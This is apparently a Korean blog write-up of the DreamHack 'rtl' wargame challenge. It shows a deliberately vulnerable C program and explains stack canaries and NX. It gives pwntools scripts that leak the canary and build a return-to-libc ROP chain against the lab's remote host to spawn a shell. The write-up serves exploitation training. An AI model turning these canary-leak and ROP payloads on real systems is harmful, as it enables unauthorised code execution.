https://dreamhack.io/wargame/challenges/353/
난이도: Level 1
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
위 코드를 분석하기에 앞서 checksec을 통해서 어떤 메모리 기법이 적용되어있는지 확인해봅시다.
Stack Canary, NX Bit 메모리 기법이 적용되고 있는 것을 확인할 수 있습니다.
간단하게 두 메모리 기법에 대해 설명드리면, Stack Canary는 Buffer Overflow가 일어났을 때 기존에 생성된 Canary 값과 프로그램 실행 시 Canary 값을 비교해 값이 다를 경우 프로그램을 종료하게 됩니다.
또한, NX Bit는 스택 상에서 쉘코드를 실행할 수 없도록 하는 메모리 기법입니다.
이와 같이, NX Bit 메모리 기법이 씌워져있어 스택 상에서 쉘코드를 실행할 수 없는 경우, Return to Library 공격 방식을 사용하여 Library에 system 함수로 Return 하여 쉘코드를 획득할 수 있습니다.
우선 Canary 값이 변하지 않도록 Canary Leak을 통해 Canary 값을 알아봅시다.
1. Canary Leak
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process("./rtl")
e = ELF("./rtl")
# Leak Canary
buf2sfp = 0x40
buf2canary = buf2sfp - 0x8
payload = b'A' * (buf2canary + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recv(7))
slog("Canary", canary)
GDB를 통해 buf에서 sfp 까지의 거리가 0x40 임을 알 수 있었고, Stack Canary 값은 SFP - 8 에 위치하여 Canary 첫 바이트가 Null Byte로 시작하기에 0x40 -0x8 + 1 크기만큼 입력을 주어 Canary 값을 알아냅니다.
이후, Exploit을 진행해봅시다.
RTL 공격 기법은 스택에 실행 권한이 없기에 공유 라이브러리로 Return 하여 system("/bin/sh") 을 실행시켜 쉘을 따는 구조입니다. 이때 필요한 system 함수, binsh 주소를 구해줍니다. 또한 pop rdi 와 ret 가젯 또한 구해줍니다.
pop rdi 와 ret 가젯을 구하는 이유는 system 함수에는 binsh 인자가 1개 들어가기 때문입니다.
예를 들어, 인자가 3개 일 경우, pop rdi ; pop rsi ; pop rdx ; ret 가젯을 구해줘야합니다.
이렇게 RTL에 필요한 모든 정보를 구했다면 Exploit 코드를 작성해주면 됩니다.
Exploit Code
from pwn import *
# context.log_level = 'debug'
def slog(n,a):
return success(": ".join([n,hex(a)]))
# p = process("./rtl")
p = remote("host3.dreamhack.games", 18471)
e = ELF("./rtl")
libc = e.libc
r = ROP(e)
# Get Information for RTL
system = e.symbols["system"]
binsh = next(e.search(b"/bin/sh"))
pop_rdi = r.find_gadget(["pop rdi"])[0]
ret = r.find_gadget(["ret"])[0]
# 1. Canary Leak
buf2sfp = 0x40
buf2canary = buf2sfp - 0x8
payload = b'A' * (buf2canary + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+ p.recv(7))
slog("Canary", canary)
slog("System", system)
slog("binsh", binsh)
# 2. Exploit
payload = b'A' * buf2canary
payload += p64(canary)
payload += b'B' * 8 #SFP
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendafter("Buf: ", payload)
p.interactive()
'DreamHack' 카테고리의 다른 글
[DreamHack] development-env (0) | 2023.08.07 |
---|---|
[DreamHack] Format String Bug (0) | 2023.06.19 |
[DreamHack] web-ssrf (0) | 2023.06.17 |
[DreamHack] login-1 (0) | 2023.06.17 |
[DreamHack] XSS Filtering Bypass (1) | 2023.06.15 |